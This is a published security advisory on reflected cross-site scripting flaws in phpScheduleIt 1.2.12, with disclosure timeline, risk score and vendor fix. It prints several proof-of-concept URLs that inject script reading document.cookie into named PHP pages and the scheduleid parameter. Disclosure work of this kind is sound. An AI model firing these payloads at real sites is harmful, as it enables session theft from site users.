Total Tests:

Cross-site Scripting (XSS) Vulnerabilities in phpScheduleIt

This vulnerability was discovered by our security researchers before 2019.

Advisory ID:HTB22987
Product:phpScheduleIt
Vendor:phpScheduleIt Team
Vulnerable Versions:1.2.12 and probably prior
Tested Version:1.2.12
Advisory Publication:May 5, 2011 [without technical details]
Vendor Notification:May 5, 2011
Public Disclosure:May 19, 2011
Latest Update:March 2, 2012
Vulnerability Type:Cross-Site Scripting [CWE-79]
Risk Level:Medium
Medium Risk
CVSSv2 Base Score:4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in phpScheduleIt which could be exploited to perform cross-site scripting attacks.

1) Cross-site scripting (XSS) vulnerabilities in phpScheduleIt
1.1 The vulnerability exists due to input sanitation errors in URL in the forgot_pwd.php, index.php, register.php and roschedule.php scripts. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation examples:
http://[host]/forgot_pwd.php/%22%3E%3Cscript%3Ealert%28document.cookie%29;%3 C/script%3E
http://[host]/index.php/%22%3E%3Cscript%3Ealert%28document.cook ie%29;%3C/script%3E
http://[host]/register.php/%22%3E%3Cscript%3Ealert%28do cument.cookie%29;%3C/script%3E
http://[host]/roschedule.php/%22%3E%3Cscript %3Ealert%28document.cookie%29;%3C/script%3E

1.2 The vulnerability exists due to input sanitation error in the "scheduleid" parameter in popCalendar.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
http://[host]/popCalendar.php?scheduleid=%22%3E%3Cscript%3Ealert%28document. cookie%29;%3C/script%3E


Solution:
Upgrade to the most recent version


References:
[1] High-Tech Bridge Advisory HTB22987 - https://www.immuniweb.com/advisory/HTB22987 - Cross-site Scripting (XSS) Vulnerabilities in phpScheduleIt
[2] phpScheduleIt - php.brickhost.com - phpScheduleIt is an Open Source web-based resource and reservation scheduling system.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
Ask a Question